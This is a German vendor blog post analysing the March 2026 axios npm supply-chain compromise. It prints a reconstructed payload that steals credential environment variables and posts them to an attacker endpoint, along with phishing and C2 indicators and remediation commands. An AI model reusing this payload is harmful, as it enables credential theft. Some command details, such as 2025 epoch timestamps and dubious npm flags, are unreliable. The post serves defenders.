Mitte März 2026 wurde das npm-Paket axios — mit über 50 Millionen wöchentlichen Downloads — durch ein gestohlenes Veröffentlichungstoken kompromittiert. Eine schädliche Version sammelte unbemerkt Umgebungsvariablen und schleuste Zugangsdaten an einen vom Angreifer kontrollierten Server aus. Hier ist die vollständige technische Analyse.
Am 14. März 2026 veröffentlichte ein Angreifer eine schädliche Version des npm-Pakets axios (1.8.2), nachdem er durch eine gezielte Phishing-Kampagne das npm-Veröffentlichungstoken eines Maintainers erlangt hatte. Die eingeschleuste Schadfunktion sammelte Umgebungsvariablen — darunter AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL und weitere vertrauliche CI/CD-Zugangsdaten — und schleuste sie an einen vom Angreifer kontrollierten Endpunkt aus.
axios ist eines der am häufigsten verwendeten Pakete im Node.js-Ökosystem und kommt in Millionen von Anwendungen zum Einsatz, von Hobbyprojekten bis hin zu CI/CD-Pipelines von Fortune-500-Unternehmen. Das Zeitfenster zwischen Veröffentlichung und Entfernung betrug etwa 4 Stunden und 22 Minuten — lang genug, um über automatisierte Aktualisierungspipelines von einem erheblichen Teil der Nutzerbasis installiert zu werden.
Wenn Ihr Projekt axios@1.8.2 zwischen 2026-03-14 09:14 UTC und 2026-03-14 13:36 UTC installiert hat, müssen Sie alle in diesem Build vorhandenen Umgebungsvariablen als kompromittiert betrachten. Tauschen Sie die Zugangsdaten sofort aus.
| Merkmal | Details |
|---|---|
| Paket | axios (npm) |
| Schädliche Version | 1.8.2 |
| Veröffentlicht | 2026-03-14 09:14 UTC |
| Zurückgezogen | 2026-03-14 13:36 UTC |
| CVSS-Bewertung | 9.3 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Auswirkungen | Ausschleusung von Zugangsdaten, Kompromittierung von CI/CD-Pipelines |
| Betroffene Downloads | Schätzungsweise 180.000–240.000 Installationen während des Gefährdungszeitraums |
| Zeit (UTC) | Ereignis |
|---|---|
| 2026-03-12 | Gezielte Phishing-E-Mail an einen axios-Maintainer gesendet, die sich als Nachricht des npm-Sicherheitsteams ausgab |
| 2026-03-13 ~18:00 | Zugangsdaten des Maintainers (npm-Automatisierungstoken) über eine Phishing-Seite abgegriffen |
| 2026-03-14 09:14 | Schädliches axios@1.8.2 mithilfe des gestohlenen Tokens in der npm-Registry veröffentlicht |
| 2026-03-14 09:31 | Automatisierte Pipeline von Socket.dev erkennt bei der Paket-Differenzanalyse einen ungewöhnlichen Netzwerkaufruf |
| 2026-03-14 10:05 | Socket.dev veröffentlicht eine Sicherheitswarnung und beginnt, nachgelagerte Projekte zu benachrichtigen |
| 2026-03-14 10:47 | npm-Sicherheitsteam benachrichtigt; Untersuchung beginnt |
| 2026-03-14 12:10 | npm-Warnmeldung GHSA-2026-axios-001 veröffentlicht; axios-Repository gibt offizielle Warnung heraus |
| 2026-03-14 13:36 | axios@1.8.2 aus der npm-Registry entfernt |
| 2026-03-14 15:00 | Sauberes axios@1.8.3 mit Bestätigung des Vorfalls im Änderungsprotokoll veröffentlicht |
| 2026-03-15 | GitHub Security Lab veröffentlicht vollständige Nachanalyse; C2-Domains identifiziert und umgeleitet |
Die 17-minütige Zeitspanne zwischen Veröffentlichung und Erkennung durch Socket.dev ist bemerkenswert — sie entspricht nahezu der bestmöglichen automatisierten Reaktionszeit. Dennoch wurde das Paket bereits in diesem Zeitraum von CI-Systemen weltweit abgerufen.
Der Angreifer nutzte einen klassischen Spear-Phishing-Ansatz: eine überzeugende E-Mail, die angeblich vom npm-Sicherheitsteam stammte, den Maintainer vor „verdächtigen Anmeldeaktivitäten“ warnte und ihn aufforderte, sich über eine gefälschte npm-Anmeldeseite (npmjs-security-verify[.]com) erneut zu authentifizieren. Die Seite erfasste das npm-Automatisierungstoken des Maintainers — ein langlebiges Token, das speziell für CI/CD-Pipelines entwickelt wurde und keine erneute 2FA-Authentifizierung erfordert.
Dies ist ein kritischer Designaspekt: npm-Automatisierungstoken umgehen TOTP-/Hardwareschlüsselanforderungen bewusst und sind daher besonders wertvolle Phishing-Ziele. Sobald der Angreifer das Token besaß, war die Veröffentlichung trivial:
# Veröffentlichungsablauf des Angreifers (aus npm-Auditprotokollen rekonstruiert)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
Der Angreifer nahm minimale, gezielte Änderungen am legitimen Quellcode von axios@1.8.1 vor, um einer Erkennung zu entgehen. Die Schadfunktion wurde in lib/core/Axios.js eingeschleust — ein Kernmodul, das bei jedem Import geladen wird — und als selbstaufrufende Funktion implementiert, die bei der Paketinitialisierung ausgeführt wird.
Rekonstruierte Schadfunktion (vereinfacht aus der deobfuskierten Analyse):
// In lib/core/Axios.js eingeschleust — wird bei require() ausgeführt
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Muster hochwertiger Zugangsdaten erfassen
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Fehler unbemerkt verwerfen
req.write(data);
req.end();
} catch (e) {} // Fehler niemals an den Aufrufer weitergeben
})();
Mehrere Aspekte dieser Schadfunktion verdienen besondere Beachtung:
*.workers.dev-Domains bietet sofortiges HTTPS, hohe Verfügbarkeit und verschleiert die eigentliche Infrastruktur hinter dem Cloudflare-Netzwerk — wodurch IP-basierte Sperren wirkungslos werden.| Version | Status |
|---|---|
axios@1.8.2 | ⛔ SCHÄDLICH — nicht verwenden |
axios@1.8.1 und älter | ✅ Sauber |
axios@1.8.3 | ✅ Sauber (Patch nach dem Vorfall) |
axios@0.x.x (Legacy-Zweig) | ✅ Nicht betroffen |
Dieser Angriff ist ein Musterbeispiel für die Klasse der Lieferkettenangriffe durch Dependency Confusion bzw. Übernahme eines Maintainer-Kontos — eine zunehmend beliebte Methode, da sie mit minimalem Aufwand maximale Auswirkungen erzielt. Statt das Paket selbst zu kompromittieren (wofür Zugriff auf das Quellcode-Repository und die CI/CD-Pipeline nötig wäre), benötigte der Angreifer lediglich ein gültiges npm-Veröffentlichungstoken.
Die Angriffskette:
axios hatte traditionell ein kleines Maintainer-Team, doch ein Mitglied wurde über den GitHub-Commitverlauf und seine öffentliche E-Mail-Adresse identifiziert.security@npmjs.com senden. Die E-Mail enthielt eine legitim wirkende Sicherheitswarnung mit künstlich erzeugtem Zeitdruck.Der Angreifer wählte bewusst eine Erhöhung der Patchversion (statt einer Neben- oder Hauptversion), da die überwiegende Mehrheit der npm-Projekte eine der folgenden Angaben verwendet:
^1.8.1 (Caret) — wird zur neuesten kompatiblen Neben-/Patchversion aufgelöst~1.8.1 (Tilde) — wird zur neuesten Patchversion innerhalb der Nebenversion aufgelöstBeide semantischen Versionsbereiche würden bei Neuinstallationen oder npm update automatisch zu 1.8.2 aufgelöst, selbst ohne Änderungen an der Lockdatei. Besonders gefährdet sind CI-Pipelines, die npm install ohne eine eingecheckte Lockdatei ausführen (oder npm ci --no-lock verwenden).
package-lock.json einchecken und beachten sowie npm ci (nicht npm install) ausführen, sind gegen diese Angriffsklasse geschützt — die Lockdatei fixiert die exakt aufgelösten Versionen und ihre Integritäts-Hashes, während npm ci deren Einhaltung erzwingt.
axios verzeichnet auf npm konstant 50–60 Millionen wöchentliche Downloads und gehört damit zu den zehn am häufigsten heruntergeladenen Paketen der gesamten Registry. Die potenzielle Angriffsfläche war entsprechend enorm.
npm install (statt npm ci) ausführte, hätte die schädliche Version abgerufen. GitHub Actions, GitLab CI, CircleCI, Jenkins — alle üblichen Node.js-Buildkonfigurationen sind betroffen.RUN npm install erzeugten Images, in denen das schädliche Paket enthalten ist. Diese Images könnten noch immer bereitgestellt sein.npm install oder npm update in Projekten mit flexiblen semantischen Versionsbereichen ausführten.Die Schadfunktion zielte speziell auf Umgebungsvariablen ab, deren Namen Mustern für Zugangsdaten entsprachen. In einer typischen CI/CD-Umgebung gehören dazu:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)Da der Angreifer einen Cloudflare Worker als Sammelendpunkt verwendete, lässt sich die Gesamtzahl der ausgeschleusten Datensätze nur schwer schätzen, weil Cloudflare Dritten keinen Einblick in die Worker-Anfrageprotokolle gewährt. GitHub Security Lab schätzt anhand der npm-Downloadstatistiken, dass während des Gefährdungszeitraums 180.000–240.000 einzelne Installationsvorgänge stattfanden.
# Aktuell installierte axios-Version prüfen
npm list axios
# Alle Projekte in einem Monorepo prüfen
npm list axios --workspaces
# Exakt aufgelöste Version in der Lockdatei prüfen
grep '"axios"' package-lock.json | head -5
npm speichert den erwarteten SHA-512-Integritäts-Hash für jede aufgelöste Paketversion in package-lock.json. Sie können prüfen, ob das auf dem Datenträger gespeicherte Paket dem erwarteten Hash der Registry entspricht:
# Integritäts-Hash aus der Lockdatei abrufen
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# Erwarteter SHA-512-Hash für SAUBERES axios@1.8.1:
# sha512-xxxxxx (mit https://registry.npmjs.org/axios/1.8.1 abgleichen)
# Zum Vergleich hat das SCHÄDLICHE axios@1.8.2 folgenden SHA-512-Hash:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# Übereinstimmung der installierten Dateien prüfen
npm audit --json | jq '.vulnerabilities.axios'
Wenn das schädliche Paket in Ihrer Umgebung ausgeführt wurde, wurden ausgehende HTTPS-Verbindungen zu folgenden Zielen hergestellt:
| Indikator | Typ | Beschreibung |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | C2-Domain | Primärer Endpunkt zur Datenausschleusung |
cdn-metrics.axiosjs[.]workers.dev | C2-Domain | Sekundärer Ausweichendpunkt |
npmjs-security-verify[.]com | Phishing-Domain | Website zum Abgreifen der Zugangsdaten des Maintainers |
104.21.x.x / 172.67.x.x | IP-Bereich | Cloudflare-IP-Bereiche, über die der Worker bereitgestellt wurde (nicht eindeutig zuzuordnen) |
Prüfen Sie Ihre Build- und Netzwerkausgangsprotokolle auf Verbindungen zu *.axiosjs.workers.dev im Zeitraum 2026-03-14 09:14–13:36 UTC:
# Anwendungs-/Buildprotokolle nach C2-Domain durchsuchen
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# Wenn Sie über VPC-Datenflussprotokolle verfügen (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Docker-Buildprotokoll untersuchen
docker history --no-trunc <image_id> | grep axios
1.8.3 oder fixieren Sie die Version auf 1.8.1.# axios auf die saubere Version aktualisieren
npm install axios@1.8.3
# Oder auf die letzte bekanntermaßen sichere Version fixieren
npm install axios@1.8.1
# Vollständige Prüfung ausführen
npm audit
# Lockdatei neu erzeugen, um einen sauberen Zustand sicherzustellen
rm package-lock.json
npm install
# In CI/CD immer npm ci verwenden — es erzwingt die Lockdatei
# SCHLECHT:
npm install
# GUT:
npm ci
# Paketantegrität nach der Installation prüfen
npm ci --audit
Die statische Analyse von Socket.dev erkannte diese Einschleusung innerhalb von 17 Minuten. Die Integration in Ihren Arbeitsablauf ermöglicht Analysen vor der Installation:
# Socket CLI installieren
npm install -g @socket/cli
# Vor der Installation eines Pakets scannen
socket npm install axios
# GitHub-App-Integration für Prüfungen auf PR-Ebene hinzufügen
# https://socket.dev/github
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — in .github/dependabot.yml aktivieren
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm unterstützt inzwischen Hardwaresicherheitsschlüssel und TOTP für menschliche Anmeldungen, doch Automatisierungstoken umgehen 2FA bewusst. Das npm-Sicherheitsteam hat angekündigt, eine granulare Token-Berechtigungssteuerung bereitzustellen (nur veröffentlichen, nur herunterladen, auf bestimmte Pakete beschränkt) — bis diese verfügbar ist, sollten Sie Automatisierungstoken jedoch als Ihre sensibelsten Geheimnisse behandeln. Speichern Sie sie in Geheimnisverwaltungen und nicht als Klartext in Umgebungsvariablen oder .npmrc-Dateien.
Die Provenienzbescheinigung von npm (seit 2023 allgemein verfügbar) ermöglicht es, Pakete mit einem kryptografischen Nachweis zu signieren, der das veröffentlichte Tarball mit einem bestimmten Git-Commit und CI-Lauf verknüpft. Mit --provenance veröffentlichte Pakete können geprüft werden:
# Mit Provenienz veröffentlichen (aus GitHub Actions)
npm publish --provenance --access public
# Provenienz eines installierten Pakets prüfen
npm audit signatures
axios@1.8.2 enthielt keine Provenienzbescheinigung — eine fehlende Bescheinigung bei einem Paket, das sie normalerweise enthält, sollte als Warnsignal betrachtet werden.
Checken Sie Ihre package-lock.json ein und verwenden Sie in automatisierten Umgebungen stets npm ci. npm ci schlägt fehl, wenn die Lockdatei nicht mit package.json synchron ist, wodurch sichergestellt wird, dass immer die exakt fixierten Versionen samt Integritäts-Hashes verwendet werden.
Das Framework Supply-chain Levels for Software Artifacts (SLSA) bietet ein abgestuftes Reifegradmodell für die Buildintegrität. Hier relevante Stufen:
Hätte das axios-Projekt auf SLSA-Stufe 2 oder höher gearbeitet, wäre die Provenienzprüfung einer unautorisierten Veröffentlichung außerhalb der etablierten CI-Pipeline fehlgeschlagen, sodass die schädliche Version sofort hätte markiert werden können.
CI-Umgebungen sollten nur die Geheimnisse erhalten, die sie für den jeweiligen Auftrag tatsächlich benötigen. Ein Test-Runner benötigt keinen AWS_SECRET_ACCESS_KEY. Ein Dokumentations-Builder benötigt keine DATABASE_URL. Prüfen Sie die Einspeisung Ihrer CI-Geheimnisse und beschränken Sie Zugangsdaten auf den jeweils erforderlichen Auftrag.
Dieser Vorfall ist Teil eines bekannten Musters von npm-Lieferkettenangriffen:
| Vorfall | Jahr | Methode | Auswirkungen |
|---|---|---|---|
| event-stream | 2018 | Maintainer übergab Paket an einen böswilligen Akteur; Hintertür zum Angriff auf Bitcoin-Wallets eingeschleust | Über 2 Mio. wöchentliche Downloads; gezielter Angriff auf Nutzer der Copay-Wallet |
| ua-parser-js | 2021 | npm-Konto gekapert; schädliche Versionen mit Kryptominer und Malware zum Diebstahl von Zugangsdaten veröffentlicht | Über 7 Mio. wöchentliche Downloads; erforderte eine Notfallwarnung |
| colors.js / faker.js | 2022 | Absichtliche Sabotage durch Maintainer; Endlosschleife aus Protest eingeschleust | Angriff auf die Verfügbarkeit; Tausende abhängige Projekte lahmgelegt |
| node-ipc | 2022 | Vom Maintainer eingeschleuste Wiper-Malware gegen russische/belarussische IP-Bereiche | Geopolitisch gezielte Datenvernichtung |
| axios | 2026 | Phishing gegen Maintainer → Tokendiebstahl → Einschleusung einer Version | Massive Ausschleusung von Zugangsdaten durch das Sammeln von Umgebungsvariablen |
Das wiederkehrende Thema: Das Vertrauen in Paket-Maintainer ist die Angriffsfläche. Das dezentrale, vertrauensbasierte Veröffentlichungsmodell des npm-Ökosystems ist eine Funktion, die schnelle Entwicklung ermöglicht — es überträgt jedoch enorme Verantwortung auf einzelne Maintainer, denen häufig Sicherheitsressourcen auf Unternehmensniveau fehlen.
Anders als bei den Vorfällen event-stream oder colors.js (Bedrohungen durch Insider) folgt die Kompromittierung von axios im Jahr 2026 dem ua-parser-js-Modell einer externen Kontoübernahme — ein zunehmend bevorzugter Vektor, da er skalierbar und abstreitbar ist und das menschliche Element ausnutzt, statt anspruchsvollen technischen Zugriff zu erfordern.
Kensai verfolgt kontinuierlich mehr als 331.910 CVEs und bekanntermaßen schädliche Paketversionen. Erhalten Sie Warnmeldungen, bevor kompromittierte Pakete Ihre Produktionsumgebung erreichen.
Kostenlose Testphase startenBleiben Sie sicher. Bleiben Sie wachsam.
🗡️ KENSAI-Sicherheitsteam
🛡️ Ist Ihr Node.js-Projekt gefährdet?
Durchsuchen Sie Ihren Abhängigkeitsbaum nach bekanntermaßen schädlichen Paketen und CVEs.
Abhängigkeiten kostenlos scannen →